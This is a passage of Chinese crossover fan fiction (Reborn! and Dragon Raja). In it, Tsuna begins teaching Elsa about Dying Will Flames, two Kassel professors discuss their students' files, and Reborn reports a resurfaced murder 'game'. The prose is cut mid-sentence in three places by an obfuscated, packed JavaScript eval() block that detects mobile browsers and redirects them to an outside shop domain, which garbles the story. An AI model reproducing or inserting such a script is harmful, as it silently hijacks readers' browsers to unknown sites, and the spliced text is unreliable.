沢田纲吉长久的凝视她,像是陷入了自己的回忆当中。 最开始他神情间的不赞同被渐渐软化成某种更柔软的东西。 对面目光沉沉,艾莎有点顶不住:“纲吉君?” 沢田迅速回神,他收回了视线,无奈的轻轻摇头:“艾莎小姐,这是诡辩。和Mafia有所牵连所带来的风险可不能与碰见小偷同日而语。” ……不,对她来说区别不大,给她一把武器别说Mafia和小偷,来的是绿巨人都给你打爆。 “那么,我们是交涉失败了?纲吉君不打算告诉我更多死气之火的事了么?”艾莎问道。 沢田却道:“不,我并不是要劝阻你。艾莎小姐是独立的个体,我不会干涉你做出的任何决定。” 他脸上的表情很平静,平静得像在谈生意:“那里寄存的东西对我的家族很重要。既然艾莎小姐已经表露出愿意合作的意向,那么从我的立场来说,是无论如何都不会拒绝的。” 没错,将选择权交由他人,至于怎么选、选择了会有什么结果,都要由做出选择的人自己承担。 现在的他所能做到的,至多也不过是在事先陈明利害——这样程度的“伪善”罢了。 沢田纲吉神情一黯。 “好啦纲吉君,别摆出一副自我厌恶的表情啊。”得知合作达成,艾莎的语气变得很轻松,“你点了酒么?” “诶?”这个转折太快,沢田一时没跟上。 “老板端着餐盘过来了喔。” 艾莎话音刚落,食物的香气便飘然而至。 餐厅老板一次性上齐了除甜品以外的全部餐品,同时还附赠了两杯白葡萄酒,并在临走前对着沢田纲吉夸张的挤眉弄眼。 沢田:“……” 艾莎拿起酒杯轻嗅:“这是SauvignonBlanc,有人将它入口时的酸涩比作一个人孤单的等天黑。但它回甘明显,就像天黑总会过去,之后的甜蜜连绵不绝。中国人给它起了个很美的名字,叫‘长相思’。” 刚才的沉重已被气氛冲淡,沢田知道这是正式谈话告一段落的信号。 他索性跟着拿起高脚杯观察起来。 来到意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658763|188344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大利后沢田难免接触葡萄酒文化,但像这样的描述却是第一次听到。 “虽说更搭配情侣约会或者纪念日,”艾莎轻声嘟哝一句,然后朝沢田举杯,“让我们庆祝这漫长的谈话终于有了明确的结果——” “当然——合作愉快,艾莎小姐。” 他们轻轻碰杯。 “对了,”艾莎的嘴唇堪堪碰上杯沿,她突然想起了什么似的,又补充道,“刚刚花了太多时间来探讨这件事的危险性。可其实我也没把握在一个月内掌握‘死气之火’啊……” “这不是什么大问题,”沢田思索一下道,“最开始由我来教导艾莎小姐,可以么?等确认火焰属性后,再安排适合的家庭教师。” “真、真的吗!”艾莎大喜,她挠了挠头,有点羞涩道:“对不起我只是有点感动,我从小对学东西就没什么自信。我以前的老师都说我不是个好学生……” 沢田纲吉:“……” 心中突然涌起一股不祥的预感。 不,这已经不是需要使用超直感预警的明显程度了—— 沢田纲吉看着艾莎傻呵呵挠着头的样子,这模样他可太眼熟了。 ——废柴!这是废柴才会有的气场啊! -- 艾莎边吃饭边和沢田商讨了更多细节。沢田是个慷慨的合作者,艾莎推测他在Mafia中地位不低,谈起金钱时他有种浑不在意的从容感。 就是不知道为什么,她总觉得现在沢田看她的目光带着种诡异的怀念与慈爱之情…… “艾莎小姐来巴勒莫有预定住所么?” “没,我本来预计取完东西就走的。”艾莎拍了拍鼓鼓囊囊的书包,“不过我带了睡袋。” 沢田微微一窒,“……睡袋?” “欧洲的旅游城市住宿都很贵。睡袋很方便。” 方便在哪里,难道她是打算露宿街头么…… 沢田扶额,表示可以提供一处临时住所。 “1个月的话住旅馆的确不方便。我那栋公寓平时没有人住,如果艾莎小姐不介意的话……” “当然不介意!”艾莎受宠若惊,“我按爱彼迎上面的市价给你。只是我现在没那么多钱,延后一点支付可以么?” “当然,我可以给你打八折。” 沢田纲吉微笑着说。 他对巴勒莫的租房价格没什么概念。只是有时太慷慨反而给人压力,他很乐意让艾莎在西西里岛过得轻松些。 沢田拿出手机编辑了一条短信发送,然后继续与艾莎闲聊。 聊着聊着他发现她需要的也不仅仅是住所。 艾莎羞涩表示自己身上还剩20欧元,堪堪够支付这顿饭钱。 原本她的计划是睡在街上靠好心人接济,再原本是领到遗物后靠偷渡回到欧洲大陆。 ——怪不得看到复仇者还能面不改色,这孩子根本已经习惯在危险边缘游走了啊! 沢田纲吉体内的吐槽机疯狂运转,所幸表面仍不动声色:“……钱的事艾莎小姐不用担心。” 望着一下子对他感激涕零的艾莎,沢田纲吉突然莫名产生一种“不能把这孩子放着不管”的责任感。 他一时没克制住,带着些多余的关切问道:“艾莎小姐……经济上很拮据么?” “没有没有,我们学校给的奖学金挺丰厚的。”艾莎赶紧解释,“只是我大师兄最近刚问我借了钱。他在研究怎么把水变成石油,并处在即将成功的关键时期——他承诺到时候和我共享专利,很快我们就会变成亿万富翁!” ……不,你的钱永远也不会回来了,一同消失的还有你大师兄的节操。 沢田纲吉满怀同情的抽搐着嘴角。 5. 第5章 学生档案 美国芝加哥 卡塞尔学院 现在是周二的上午11点整,学生们都在上课,档案室里空无一人。 古德里安与曼施坦因正在最里的办公室整理毕业生档案。 厚厚的一沓,每一张A4纸都浓缩着一位学生四年的在校经历。 卡塞尔之门只为最优秀的混血种开启——这些学生是秘党引以为傲的现在与将来。 而对于执教多年的古德里安与曼施坦因来说,这些资料也代表着一段段鲜活生动的回忆。 他们是幼年相识的好友,私下评价起来没什么顾忌。 “凯撒·加图索,我记得他毕业时的绩点只有2.3分,但他一毕业‘自由之日’的花销就立刻降低了70%。” 曼施坦因冷哼一声,他是学院的风纪管理委员会主席,同时兼管财务。 学院一年一度的“自由之日”是他每年精神最紧张的一天。而在凯撒带领学生会的那段时间,他总是在“自由之日”的前一个月就开始失眠。 “哦哦,凯撒之后学生会主席就是明非了吧?我记得他接任那年的‘自由之日’办了漫展,搞得很是轰轰烈烈啊!” 古德里安与曼施坦因同龄,尽管头发胡子都变灰了,但是个挺呆萌的老头。 路明非正是他的得意门生,每次提起他古德里安都眉飞色舞,笑得就像周星驰电影里的老爹角色。 “你能不用那么骄傲的语气么?”曼施坦因淡淡的,“我怀疑他当时提议漫展只是想看女生扮成各种日本美少女。可没想到学院里的大部分学生虽然会说中文却是看美漫长大的——他没穿变装夹在美国队长和超人中间,但所有人都以为他在cos霍比特人。” 他又道:“哦,不对,也有日漫党。当时他们建了两个一比一的高达模型对轰……哼,不过花费还是比真人CS少多了。” “…没从群众中来最后却到了群众中去,这也是一种天赋!”尽管路明非已经毕业,古德里安还是习惯性护短,“明非他是当之无愧的S级!” “你口中当之无愧的‘S’级在战争结束后回中国县城开了一家网吧。我听说他现在在辛苦还房贷。”曼施坦因冷冷道。 古德里安讪讪的,“那不是没办法么,他战后拐了上杉家家主私奔,那总得先隐姓埋名躲上两年……现在全世界就中国最安全,打黑除恶么,蛇岐八家的手伸过去就被打掉了。” “那你的另一个S级学生。”曼施坦因把一份档案扔到古德里安面前。 档案上的绩点是触目惊心的1.9,右上角附着照片,却明显不是大学生该有的年纪。 相片里的女孩留着黑色短发,长得有点像年轻时的苏菲·玛索。 但她的神情可比后者冷多了,一双蓝眼睛叫人无端联想起冬天和金属。 那时女孩14岁,还在芝加哥读学院的预科班。 光看这张照片,很难把她和大学里那个总是逃早课睡懒觉顶着一个鸡窝头及拉着拖鞋去食堂打饭的废柴联系起来。 古德里安看着档案上的照片和名字愣了足足3秒:“……艾莎?” “不是早叫她把照片换了么。”古德里安哭笑不得,“她又怎么了,现在不是还在医院休养么?” “她一周前从那儿离开了,用S级的权限调了一架飞机去卡塔尔。”曼施坦因低声道。 “卡塔尔……那可不是什么度假的好地方。” “废话,除了疯子谁会去现在的中东度假。那么混乱的地方,去那里的目的只会有一个——就是隐匿行踪!” 对门下弟子,古德里安一贯是护短到底:“这也不难理解,谁还没个青春期叛逆了?校董会对她的期待一直很高。据我所知她挺抗拒这个的。况且现在战争已经结束了,普通的退伍兵还有一年假期呢。” “可战争……真的结束了么?”曼施坦因低声道。 他们幼年相识,彼此知根知底。古德里安看懂了曼施坦因眼里的冷意,情不自禁的打了个寒颤。 “黑王尼格霍德已经死了。这是被反复确认的事实。”他试图安慰自己。 “黑王已经死了,”曼施坦因道,“这标志着世界上所有龙王的终结。可我们这些混血种还在——龙族的历史……还远远没有结束!” 古德里安倒抽一口凉气:“你是说秘党?” “世界上的混血种可不止有秘党。他们中的大多数凭借血统累积了大量的财富和权势,只不过是不参与屠龙而已。”曼施坦因冷冷道,“他们像纳粹一样笃信血统论,一直致力于构建一个混血种至上的世界。但之前还有黑王复活的预言压在他们头上。” “可现在黑王已经死了,谁能保证他们中间没有人肖想着……成为新的王?” 古德里安低道:“你在暗指混血种之间的战争?” “古德里安,你太醉心学术了,所以才没嗅到山雨欲来的味道。你以为校董会为什么让我们整理毕业生档案?他们在清点幸存者的数目,就像二战快结束时美苏清点剩下的士兵!” 古德里安陷入了长时间的沉默。良久后,他突然道: “艾莎……还有篇作业没交给我呢。” “什么?”曼施坦因差点以为自己听错了。 古德里安政治与历史学的造诣比他更深,所以他一直在等待他得出更高的见解。 谁想到长久的沉默后这家伙的思绪又跳跃回了他的宝贝学生身上。 “我就是字面上的意思,她还有篇作业没交给我呢。不止艾莎,明非快毕业那会儿也有门课挂科不过,还是我去求得情……”古德里安絮絮叨叨的。 “教授不能帮学生通关系,这是违反校规的。”曼施坦因条件反射道,然后他深吸一口气:“你到底想说什么?” “我就是想说…艾莎、明非,不管他们的档案上写得多么漂亮…”古德里安将艾莎与路明非的档案放在一起,上面的每一条在混血种的世界看来都是了不起的功绩。 “哦、还有芬格尔…”古德里安中途想起来还有这么条败狗,又要去翻他的档案。 “别找了,芬格尔毕业后档案自动归入到了01年的那届,这里没有。”曼施坦因说。 “…哦,”古德里安点点头,“总之,芬格尔、明非还有艾莎,校董会看他们的档案会觉得他们时刻都冲在屠龙第一线吧?会觉得他们是什么勇猛无双的战士吧?可他们实际什么样,我还不清楚么。” “大半夜的吃宵夜打麻将、考试前托师兄的门路买往届考题、偷拍楚子航的出浴照拿去拍卖……整天就想着吃吃喝喝再骗点钱,没一个继承我的聪明才智,没一个能搞学术的。” 古德里安细细数着,像个伤感又温情的老疯子。 “……不,从你的描述来看他们还是蛮有想法的。”曼施坦因无情槽道。 至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658764|188344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少这辈子和守法良民是无缘了。 “校董会的人以为他们是些血统剽悍的士兵,可实际上他们都是废柴啊,只想过安生日子的废柴。”古德里安道。 “你居然知道他们是废柴!?”曼施坦因无比震惊。 “废柴和能力强没有冲突!”古德里安斩钉截铁。 护完学生,他又重新变回了旁若无人的老疯子状态:“这样的废柴当初却拿起刀枪,能是因为感受到什么神圣使命在召唤么?他们和龙族对抗就是想守护他们的那些安生日子啊,那些翘课吃宵夜、瞒着楚子航在学院论坛上赚得盆满钵满的日子……” “你这么说我会觉得学院的教育好失败,而且楚子航到底做错了什么。” “我的意思是说,”古德里安难得强硬的挥了挥手,“即使我是个充满野心的混血种,我也不会选择在这种时候主动挑起战争——这不是脑子有问题么,在这群废柴失去了那么多东西、好不容易又过回安生日子的时候…” “他们难道就不怕么?废柴也是会生气的啊,而且一旦生起气来可是很恐怖的啊……拦路的人来一个就砍翻一个,才不会去管面前的人是谁。秘党,还有其他混血种,他们难道就不怕么,难道他们……就不怕死么?” 曼施坦因静静的看着古德里安——这老家伙一贯是个整天乐呵呵的呆萌老头,此刻却脸上却浮现出森冷与愤怒。 “我明白你的意思了。”曼施坦因最终道,“我暂时封锁了艾莎离开的消息。现在所有人都以为她还在医院疗养。” “参战的学生里,她现在是最不稳定的那个。战后,心理部的富山雅史判断她有严重的PTSD,但她拒绝诊断。” “这我倒不担心,”古德里安淡淡道,“艾莎不会主动伤害别人,她只是需要时间去消化。我还在等着她的作业。” “那就让我们祈祷不要有混血种主动去触她的霉头。”曼施坦因道。 他们重新专注于档案的整理。又过了一会儿,古德里安突然道: “你说艾莎那孩子现在在干什么?要是她能遇到点新朋友就好了,可万一遇人不淑跟着学坏了怎么办?现在她可能在一个人看月亮吧,唉,她从以前就有点自闭。” “少表现得像个表面开明暗地里整天担心女儿被无良坏人拐跑的嘴硬老爹。你不是她父亲,而且你已经语无伦次了。”曼施坦因冷冷道,“她是学院建校以来血统最优秀的学生之一,再差能差到哪去?难道还能被什么普通有钱人包养当金丝雀?还是干脆跑去加入Mafia?” 古德里安愣了半天,讪讪道:“你中文进步挺快啊,说得一套一套的……” -- “我这算不算被Mafia包养了?” 艾莎愣愣的看着桌子上的东西。从手机到银行卡各种必需品一应俱全。 由于过于震惊,她没多思考就直接把心里想的说出来了。 而在听到她的话后,坐在她对面的沢田一口水喷了出来,被呛得猛咳嗽。 此刻,他们正身处沢田纲吉提供给艾莎的临时住所。 公寓面积不大,但一人居住已经足够。地理位置闹中取静,楼下就有繁华市场,夜里从阳台望出去可以看到远山一样的海。 整体装修是北欧风格,餐厅的吊灯散发着暖黄色的光。 现在是欧洲时间晚上7点,他们即将开始关于“死气之火”的第一堂授课。 6. 第6章 第一次教学 因为沢田白天要忙于“工作”,所以昨天吃饭时二人约定,以后的每天晚上7点开始授课。 每次的时间长短依学习进度而定,但最多不超过两小时。 如果沢田纲吉判断进度严重落后,那么会在周末进行补习。 今天是第一次授课,沢田会提前15分钟过来——这也是昨天就说好了的,因为他需要给艾莎带一些必备的生活用品。 吃完晚饭,艾莎百无聊赖的打开电视。 这边没有英文节目,她在配着意大利语字幕的西班牙狗血剧与新闻频道间来回切换。 电视屏幕里一会儿是各种震惊脸和把人推下楼梯的家庭伦理剧,一会儿是关于某凶杀案的报导,主持人的声音让人联想起从罐头里倒出来的通心粉…… 等着等着终于到了6点45分,门铃准时响起。 艾莎打开门,看到沢田对她微微一笑。 “晚上好,艾莎小姐。” “晚上好!吃了吗?” 艾莎回以一个过分灿烂的笑容。 沢田一愣,“…吃、了?” 他在彭格列总部吃的工作餐,但他不知道要不要继续把这些细节说出来。 艾莎边把他迎进门边道:“啊……这是中式问候语啦,就像说了‘what’sup’也不用抬头看上面,不回答也没关系。” 所以到底为什么你一个德国人会对中国那么了解啊! 沢田努力忍住吐槽欲。 “艾莎小姐住得还习惯么?” 他扫了一眼客厅。 也许是艾莎才住了一晚的原因,公寓里还没有多少她的痕迹,除了茶几上的笔记本电脑和懒人沙发旁鼓鼓囊囊的书包。 “嗯!阳台可以看到海,风景很漂亮……纲吉君喝茶么,还是咖啡?”艾莎道。 “茶,谢谢。” 沢田纲吉礼貌的微微颔首,然后坐到了餐厅。 餐桌是正常高度,比起只有懒人沙发和地毯的客厅,这里更适合教学。 很快,艾莎端着两杯茶坐到了餐桌边。 沢田已经将西装外套脱下放在了一旁的椅背上。他今天的穿着很英伦风,灰色条纹的西装马甲和黑色领带,衬衫扣子一丝不苟的扣到最顶一颗。 正式上课前,沢田将一份牛皮纸袋递给艾莎。 她打开一看,里面是一张id卡、一部崭新的手机以及一张瑞士银行的银行卡。 她先拿出id卡——显然她现在名叫菲奥娜·怀特,是一名旅居西西里岛的普通学生。 “好厉害,感觉像特工电影一样。” 听到她的夸赞,沢田纲吉礼貌的笑了一下。接着他又简单说了一下手机和信用卡。他本人的号码已经预先存入手机,而信用卡艾莎可以随意使用,支付密码是2327。 艾莎听得又感动又恐慌。她原本只想问沢田借两三百欧的现金,万万没想到沢田老板豪气万丈,直接给了她一张信用卡说随便刷。 “这种感觉…难道就是传说中的被包养……” 她呆道。 猝不及防,沢田猛呛了一口茶。 尽管咳嗽剧烈,他还是迅速利用各种肢体语言努力表达了“不是这样的!”的信息。 “没没……我就开个玩笑。总之非常感谢纲吉君!”艾莎道,她郑重的向沢田躬身行礼,并表示自己会留好单据,到时用转账的形式把钱一起还给他。 等你大师兄研发出把水变成石油的技术之后么…… 沢田心想。但他没把话说出来,只是温和的说时候不早了可以开始上课了。 -- 出乎沢田纲吉意料,艾莎听得非常认真。 但很快,他就明白了为什么她依然会得到“不是个好学生”的评价。 “也就是说,所谓的‘死气之火’是一种以体内生命力作为根源的高密度能量…”艾莎皱眉思索了一会儿,然后郑重其事道: “纲吉君,你说的这个真的不是在指‘查克拉’么……” ——不是!和查克拉和尾兽什么的毫无关系! 但这么说起来,Reborn第一次和他说起‘死气之火’原理的时候,他好像也做了一模一样的联想…… 沢田纲吉默默捂脸。 就在他短暂愣神的时候,艾莎的思路已经越跑越偏:“那学会死气之火能不能使出佐助的豪火球之术……诶,但我是螺旋丸派的啊……” 你已经想到开发招式这么远了么,还有这个怅然若失的语气是怎么回事! 沢田纲吉嘴角止不住的抽搐,同时他又很想指出“豪火球之术和螺旋丸一个C级忍术一个A级忍术,从一开始就没有可比性。”还好他拼命忍住了,不然画风就会从死气之火教学彻底跑偏为两个死宅对Naruto的战力探讨…… 教艾莎就像放风筝。卡塞尔学院的某位教授曾如此评价道。她乖乖的让你攥着那根线,但你必须时刻收紧,因为一旦放松警惕她就会被傻逼的风越吹越远。 据说古德里安看到评价后专门跑到办公室给了这位教授一个热泪盈眶的拥抱,边抱边说“就是这样的就是这样的”。 作为临时教师,沢田纲吉目前的体验与上面两位大差不差。 ——不,说不定更糟。因为他完全听得懂艾莎在说什么。教学过程中他不但得注意攥着线,还得时刻防止自己也变成风筝飞上天,然后纲吉风筝和艾莎风筝一起携手徜徉在傻逼的风里…… 好在同为死宅他迅速掌控了艾莎的节奏,然后总体流畅的教完了各火焰的属性与大致特征。 “相当精妙的体系构建啊!”艾莎眼前一亮,“那火焰的属性是如何确定的呢?” “很遗憾,现实里既没有查克拉试纸也没有水见法。”沢田不动声色的说(艾莎眼里的光一下黯淡不少),“死气之火的属性必须在点燃后依据颜色判断。” “点燃死气之火的方法有两种,一个是经过长期的身体锻炼与冥想修习,自然而然的点燃。”沢田道。 “第二种呢?” “第二种是通过这个。”沢田将一样东西放在了桌上。 ——那是一枚鲜红色的子弹。 “通过将死气弹射入身体的方式,激发身体潜能,从而点燃火焰。”他补充道,“这个方法有一定风险。如果被击中前心里没有后悔的事,可能会造成身体机能的紊乱,并陷入昏迷。” 从看到死气弹开始,艾莎就陷入一种诡异的沉默。 良久,她呆呆道: “纲吉君……明明你这个方法比查克拉试纸和水见法加起来还要不现实好么……” 沉默这么久后你果然是要吐槽这个! 沢田纲吉觉得自己渐渐懂得了艾莎的脑回路。 “可什么是后悔的事呢?”艾莎露出疑惑的表情。“比如我午饭吃了曲奇饼干,但现在想想果然还是百奇比较好,这种算么?” 沢田一愣。 她的问题其实很难回答——像这种生活里的细枝末节也能被判定为后悔的事么? Reborn在刚开始担任他的家庭教师时,的确会因为一些小事——比如球技大赛——而对他发射死气弹。可是现在回想起来,他当时真正后悔的,或许是因为自卑而唯唯诺诺、导致错失各种机会的可悲境地。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658765|188344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而艾莎小姐怎么看都不像会有类似感受。她会后悔什么,看了Naruto的大结局么…… 沢田纲吉想了想,斟酌着道:“与其说是后悔的事…倒不如说是‘觉悟’那样的东西吧。” 战斗的觉悟,守护的觉悟,以及…… ——背负的觉悟。 他眼神一黯,但说话时的语调仍是温柔的: “不过这样抽象的说明可能没什么帮助。人总有各种后悔的事,但也不是每一件都那么重要。” 后悔的事么? 艾莎感觉心里的某处被轻轻戳了一下,但嘴上还是道:“嗯……可我好像没什么特别后悔的事。” 沢田闻言微微一笑:“死气弹是备选方案,艾莎小姐不用太担心。以前也有从来未修习过的普通人自行领悟‘死气之炎’的案例,也许艾莎小姐就是其中之一呢?” 好、好乐观的想法。 艾莎有点儿汗颜。 这时沢田纲吉看了看表,道:“时间也差不多了,今天就到这里。明天我会讲讲死气之火的实际运用。” “哦,有家庭作业么?”艾莎随口道。但说完她就后悔了,因为沢田居然好像真的在犹豫的样子! “家庭作业啊……”沢田纲吉故作犹疑,“那么就请艾莎小姐好好吃饭吧。” “……诶?” “刚刚说的、无论是曲奇饼干还是百奇都不适合拿来当作午饭吧?”沢田无奈的看着她。 “请艾莎小姐好好吃饭——这就是我的家庭作业。” 在餐厅暖黄色灯光的映衬下,他脸上的笑容澄澈而温柔,那是种会让人心里一动的笑。 艾莎飞快的眨眨眼。她把沢田纲吉送到门口,与他互相道了晚安。 -- 三天后彭格列总部 与洛克家族的争端刚刚告一段落,但沢田纲吉的工作仍然繁忙,只是从离谱的忙碌减轻到普通的忙碌这种程度而已。 如果艾莎小姐早一个月来西西里岛,恐怕会看到一个整天乌青着眼圈的自己吧? 沢田眼中快速划过一丝笑意。 可即便是这样,他也并不打算将艾莎的事移交给其他人处理。 ——没错,这样的安排是最好的。尽量减少她与Mafia的接触,并且这一次、这一次…… 就在沢田纲吉陷入回忆时,办公室的门被敲响了。 “Reborn,有什么事么?”他一秒钟切换到了正儿八经的工作状态。 全套黑色西装的顶级杀手冷冷看他一眼,无声的戳穿了他刚刚摸鱼的事实。 他将一份文件放到沢田纲吉桌上:“这是最近凶杀案的报道整理。半个月内发生十起,稍微多了点。” 巴勒莫是座普通居民与Mafia共生的城市,当地行政早与Mafia达成共识。后者在进行“工作”后亦进行“清理”,而这意味着被报道出的凶杀存在于Mafia体系之外。 如果放在以前,这类事件并不会引起多少注意,毕竟Mafia不是警察。 然而自从五年前的某起事件发生后,彭格列内部便对此类报道格外敏感。 “你的意思是?”沢田闻言皱紧了眉,他接过文件,迅速而认真的审阅着。 枪杀、毒杀;市中心、荒郊野外…… 从犯罪形式与地点上来看,这些案件并无共通之处。 唯一的共同点只有一个,那就是凶手都没有被抓住。 “虽然没有证据,但从这个发生频率来看,的确有很大的概率重启了。”Reborn道。 “——【game】。” 7. 第7章 【game】 沢田一句话也没说。 ——真是漂亮的杀气。 Reborn默然看着自己的学生。即使正式继承了彭格列首领之位,沢田纲吉也仍然保留着以前好脾气的那一面。在大多数时候,这位年轻的教父都表现得温和且彬彬有礼。哪怕面对最蛮不讲理的谈判对象,他也能耐着性子慢慢交涉。 可就在刚才,Reborn分明看到他眼里瞬间迸发出骇人的光彩——那是翻滚沸腾着的、某种堪称“凶毒”的东西。 “德维尔家族的动向呢?”沢田轻声道。 “已经找人看着了,目前没什么异常。”Reborn压了压帽檐,“同时我让人时刻监管阿尔伯特的【账号】。但那个账号现在仅有收信权限,还没有收到新的邮件传来。” 听到“阿尔伯特”这个名字,沢田的嘴唇剧烈的抖动了一下。他微微低头,额发挡住了他的眼睛。 “…别这么早就露出这副表情来,蠢纲。”Reborn低声道,“现在的状况和五年前不同。” “这一次,彭格列家族会全力支持你的决定——一切决定。” 而沢田纲吉没有回应。 他当然知道愤怒是最无用的情绪,因此只放任了自己几秒钟就开始着意收敛。 怒火渐熄的同时,他的思路也变得无比清晰。 ——是的,现在所要做的只是等待。 等待【game】的幕后黑手露出破绽,而这次他决不会再错失机会。 等沢田纲吉周身的杀气散得差不多,Reborn才悠悠提起第二件事。 “对了,你那儿戏的‘家庭教师’游戏进行得如何了?” 这个世界上你是最没资格讲这句话的人…… 沢田纲吉脑子里飞快闪过这句话。但他现在没心情和Reborn争这种口舌之快,因此回答得很平直:“还没有点燃的迹象,但她对理论掌握得很快。” 不只是快而已。艾莎对死气之火的见解很独特——尽管沢田猜测这些见解有百分之八十来自各种日本漫画——但总归是独特的。 有些时候她提出的问题就连沢田自己都没想到过。 也许是因为先前完全是陌生人的缘故,他们之间的相处反而很轻松愉快。 Reborn嘴角浮起一丝嘲讽的笑:“看来你对我们的ElizabethAnjou小姐评价很高。” “这名字音节很多,‘Elsa’是‘Elizabeth’的简称之一,算不得假名。”沢田平静道。 在他和艾莎遇见的当天晚上,有关女孩的资料便摆到了他的办公桌上。 她的经历非常干净,只有薄薄的一张纸。 她出生在德国,6岁时被一名教育家收养。后来她一直跟着养父在美国生活。 且正如她所说,现在她在美国一所名为“卡塞尔学院”的私立学校上学。这所学校搜不到世界排名,但有自己的网页,且每年都和芝加哥大学举办联合帆船比赛……看上去像那种有点正规的野鸡大学。 除了名字以外,这份资料没有任何问题。 而事实上,沢田纲吉昨天才故作不经意的问了艾莎有关名字的问题。 她一脸纠结的告诉了他真名,然后皱着鼻子说这名字她不常用。理由是会让她想到银他妈里那只不明生物。 接着她热切请求沢田以后不要叫她Elizabeth,除非他想到她痛苦的像吃掉了一万只蟋蟀的表情。 ——作为同样看过银魂的人,沢田认为这个理由简直无懈可击。 当然,对日本动漫毫无兴趣的Reborn是无法被这种理由说动的。他坚持认为沢田把艾莎当作普通女孩看待是盲目而愚蠢的。 “你什么时候对英文名的简称有如此见解了?”Reborn的声音带着种淡却锋利的讽刺意味。 沢田纲吉眼里的光微微闪动了一下——看完艾莎的资料后他就主动并列搜索了这两个名字,不得不说看到答案后他松了一口气。 “蠢纲,别让自己的脑子里有‘先入为主’的概念,对Mafia来说这很危险。” “我知道,”沢田低道,“——如果在月底之前她还是无法点燃火焰,我会对她使用‘死气弹’。” “营救骸的事年前就开始计划,复仇者监狱的初代时期指环也必须回收。作为彭格列的首领,我会以这两件事为先。” “即使【game】与它们冲突?” “…即使【game】与它们冲突。”沢田道。他紧抿着嘴唇,脸上透露出冰冷而漠然的意味。 Reborn的警告永远是点到即止。在判断沢田确实没有被愤怒冲昏头脑后,他对彭格列的年轻首领微微颔首,便要离开。 “对了,”快走到门口的时候他突然出声,这次语气里带点男人间的调侃意味,“最近总部多了传言,说你在24岁时终于有了第一位情人,两个人打得火热。” “Reborn……你知道我和艾莎不是这种关系。”沢田纲吉一脸无奈。 “你把你自己名下的房子让给她住,又给她你的信用卡副卡,然后每晚你去她那里待两个小时……这种关系在Mafia的世界就称之为情人。”Reborn眼里有恶趣味的调侃。 他说完就出去了。办公室的门轻快的阖上,没给沢田留一点反驳的余地。 为什么正经的授课时间到了Reborn嘴里就这么不对劲…… 年轻的首领最终只能尴尬的挠挠脸皮。接着他再度拿起桌上那份近期凶杀案的报告,认真的浏览起来。最开始他的脑海里闪动着无数纷杂思绪,但它们最终汇聚成无比坚定的决心。 ——这一次……绝对要让【game】迎来永远的终结。 -- 艾莎对以上这些一无所知。 她现在的生活规律极了,晚上向沢田学习有关死气之火的知识,白天则进度缓慢的继续写她那篇关于“血之哀”的论文。 “孤独的原因多种多样,包括社会、心理、情感和身体因素……和童年创伤有关……额、童年创伤啊……” 艾莎向后仰倒,就势瘫在懒人沙发上伸了个懒腰。 现在她在查阅有关孤独的人类学和心理学研究——这是昨天和沢田闲聊时获得的经验。如果从一个角度切入不了导致进度停滞,那么不如先跳过,寻求其他的切入口。 艾莎觉得给出这条建议的沢田是个天才!之前她就是一直卡在龙族谱系部分动弹不得,现在她索性从人类学入手,一早上她获得的灵感比之前好几天加起来都多。 几乎所有论文都会提到“童年创伤”这个概念,于是艾莎也简单回忆了一下自己的童年。 老实说那段日子惨得就像18世纪的法国现实主义小说,可她不确定这称不称得上是“童年创伤”,因为她打心眼里觉得无关紧要——平日里她几乎不会想起这些东西。 她纠结到快11点,然后她决定出门去买点零食还有冰激凌。昨天她和沢田纲吉把冰箱里仅剩的两个哈根达斯吃完了。 最近的超市距离这里两条街,艾莎很快买好了需要的东西。她怀抱着牛皮纸袋往回走,4月的西西里阳光那么好,她不由的哼起不知名的小调。 就在这时,她突然感到背后多出一道灼热的视线。艾莎回头,街上行人各自有各自的匆忙,没人在关注她。 是她多心么? 艾莎便仍然按照老路回去,路过公寓时她没有进去,而是选择继续向前。 那道视线长久的黏在艾莎背上,只有她经过拐角时才会暂时消失。 这真是一位经验不足的跟踪者,她立即排除了混血种的可能性。 艾莎哼着小曲拐进一条狭窄的小巷子,巷内空无一人。因为巷子不长,所以她刻意的放慢了脚步。 没过一会儿,巷口便传来急促的脚步声。 看到这条巷子的长度,跟踪者迅速意识到自己必须尽快动手,因为女孩此时已经快走到巷子正中了! 他不由得加快的脚步,他的呼吸声和步伐一样凌乱。 在接受【新手引导】时,有人和他说女人是最好的猎 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他清楚电脑对面的人不是什么单纯的低学历网络暴民,那个人的【游戏等级】是8,这意味着他手上至少有9条人命,又或者远远不止——那个人根本是个真实的变态杀人狂! 所以最终,跟踪者只是颤抖着手,在聊天框里、在那段变态的长篇大论底下敲出一句表达感激的“谢谢”。 